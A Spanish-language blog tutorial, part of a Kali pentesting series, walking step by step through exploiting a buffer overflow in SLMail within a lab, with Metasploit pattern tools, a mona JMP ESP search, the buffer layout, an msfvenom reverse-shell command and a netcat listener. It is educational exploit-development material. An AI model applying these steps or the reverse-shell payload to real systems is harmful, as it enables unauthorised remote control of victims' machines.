Pentesting con Kali VIII - Bof & Shellcode

2 comments
Esta entrada es la conclusión de las dos anteriores (stack buffer overflow y fuzzing), aquí veremos la forma de identificar los parámetros necesarios como para poder inyectar una shell reversa de manera remota tras explotar la aplicación.

Los requerimientos necesarios para poder llevar a cabo éste módulo son exactamente los  mismos del módulo VII, es decir, un windows xp o 7 con SLMail instalado por defecto, el ollydbg, immunity debugger  y el módulo mona más otra máquina con kali.

En la entrada anterior, habíamos desarrollado un script para identificar si la aplicación era vulnerable por medio de un fuzzing. Ahora nos toca buscar la cantidad exacta de caracteres que debemos enviar para poder introducir nuestro shellcode de manera efectiva.

1- Necesitamos un exploit para realizar las pruebas, así que aquí les dejo el script en python, ya saben, nano nombre.py, pegan el codigo y modifican la dirección ip por la de su virtual.


2- Reproducimos la prueba inicializando el SLMail en el windows, abrimos el olly como administradores, nos attacheamos al proceso, le damos play y luego en el kali ejecutamos nuestro exploit.

Deberíamos encontrarnos exactamente con el mismo error que hemos logrado en el módulo anterior.

3- Identifiquemos exactamente la cantidad de caracteres necesarios para producir el error.
Utilizaremos la herramienta pattern_create de metasploit.

/usr/share/metasploit-framework/tools/pattern_create.rb n°-de-cracteres


En este caso le pasamos el número 2700 porque durante el fuzzing hemos identificado que la cantidad de caracteres ronda esa cifra.
Volvamos al exploit modifiquemos el valor de la variable buffer por el output generado por pattern. En el windows, cerramos el ollydbg, stopeamos el SLMail, volvemos a inicializarlo y nos attacheamos nuevamente con el debugger.

4- Lanzamos el exploit que ahora posee el contenido generado por pattern, vamos al windows y buscamos los los caracteres que han quedado en el tope del stack en EIP


El hexa que identifico en mi caso es el 44396944, ahora debemos buscar el número exacto de caracteres que lo preceden. Para eso volveremos a utilizar pattern.

    /usr/share/metasploit-framework/tools/pattern_offset.rb n°-en-EIP


5- Ya tenemos identificado que son 2607 (en mi caso, puede que en su ejercicio el valor sea distinto) caracteres los que tenemos que introducir para desbordar el buffer de SLMail. Ahora busquemos la posición de memoria donde debemos pararnos para que se ejecute nuestro shellcode.
Modifiquemos entonces nuestro exploit de la siguiente manera:

buffer = ‘A’ * n°-de-offset + ‘B’ * 4  + ‘C’ *100

Esto es para identificar si en EBP queda 41414141 (últimas cuatro A), las cuatro B quedan en EIP (en hexa será 42424242) y en ESP las C


Como podemos ver, EIP tiene 42424242, EBP 41414141 y ESP apunta a una dirección de memoria que posee como contenido las C.

¿Que debemos hacer ahora?
  • Reemplazar las B para que EPI ejecute un salto al puntero de memoria que nosotros queremos.
  • Reemplazar las C para que el puntero de memoria ejecutado por EIP levante el shellcode.

Para esto tenemos que identificar algún salto a ESP, en el immunity podemos utilizar el módulo mona que nos va a facilitar mucho la tarea. Debemos cerrar el olly y reproducir nuevamente el crasheo attacheados, pero esta vez con el immunity, es exactamente igual a como veníamos haciéndolo, solo que con un debugger distinto.

Lo que debemos buscar específicamente es un jmp esp, pueden intentar buscarlo con un ctrl+s pero no obtendrán resultados, por eso, en el command line inferior del immunity colocamos !mona modules


Primero debemos buscar un módulo que no tenga protección contra DEP y ASLR, además de que no contenga caracteres malos como los son ‘\x00’, ’\x0a’ y ’\x0d’.
Si miramos detenidamente los módulos pertenecientes a SLMail, el único que cumple con no tener ASLR es el SLMFC.dll, ese es el que utilizaremos.

Para facilitar la búsqueda, en el kali ejecutamos nasm que viene incluido en el framework de metasploit.
    /usr/share/metasploit-framework/tools/nasm_shell.rb

Una vez que levanta la shell le pasamos el lo que necesitamos buscar para que lo pase a instrucción.


Ahora ya sabemos que debemos buscar FFE4 que en hexa es \xFF \xE4 en el módulo SLMFC.dll. Para esto también utilizaremos mona de la siguiente forma
    !mona find -s “Codigo en hexa” -m nombre del módulo
   

6- Tomamos la primer dirección 5F4A358F para probar si no es funcional, debemos entonces reemplazar las B que se encuentran en el buffer de nuestro exploit por esta posición bajo el formato little endian, es decir '\x8F\x35\x4A\x5F'.

    buffer = ‘A’ * n°-de-offset + ‘Posición en little endian’   + ‘C’ *100

Antes de volver a probar nuestro exploit, debemos cerrar el immunity, stopear el SLMail, darle start nuevamente y volver a attachearnos con el debugger.
Con el último botón antes de la l podemos ir directo a la posición que nosotros le indiquemos y como necesitamos utilizar un breakpoint, vamos a la posición de memoria que acabamos de utilizar en el exploit (en mi caso 5F4A358F, puede que en su ejercicio sea distinto), una vez parados ahí presionamos F2 para colocar el breakpoint.


Damos play en el immunity, desde el kali corremos el exploit y debería quedarnos pausado en el breakpoint.


7- Paremos sobre ESP, click derecho y ‘Follow in Dump’, esto debería mostrar en el panel izquierdo inferior las letras C que en hexa es 43.


Ahora solo nos queda reemplazar esas C por nuestro shellcode.

8- Para generar su shellcode pueden utilizar msfvenom, con un -h pueden ver sus opciones, en mi caso lo ejecuté de la siguiente manera.
    msfvenom -p windows/shell_reverse_tcp lhost=Dirección-IP lport=Puerto -b 'Bad-characters' -i 1 -f c


O el viejo msfpayload desde msfconsole:
   

9- Levantamos desde el kali un nc con el parametro -lvp en el puerto que hemos elejido para el payload. Ahora, solo incluir el shellcode en el exploit y volver a reiniciar el SLMail para attachearse con el immunity, crear el breakpoint darle play e ir al kali para lanzarlo. Se va a frenar en 5F4A358F, seguimos con F8 hasta que desencodea y obtenemos la shell reversa del windows en nuestro kali.

 
El netcat nos levanta la shell reversa y jugamos un ratito en la máquina tomada.



Como siempre, cualquier duda o consulta, estamos por aquí.

Regards, @balderramaeric

2 comentarios

  1. esta seccion pentesting con kali esta muy buena, pero es un poco dificil de encontrar xD.
    gracias por su trabajo y por compartir!!

    ResponderEliminar
    Respuestas
    1. Carlos a solicitud! se agrego los enlaces respectivos.

      Regards,
      Snifer

      Eliminar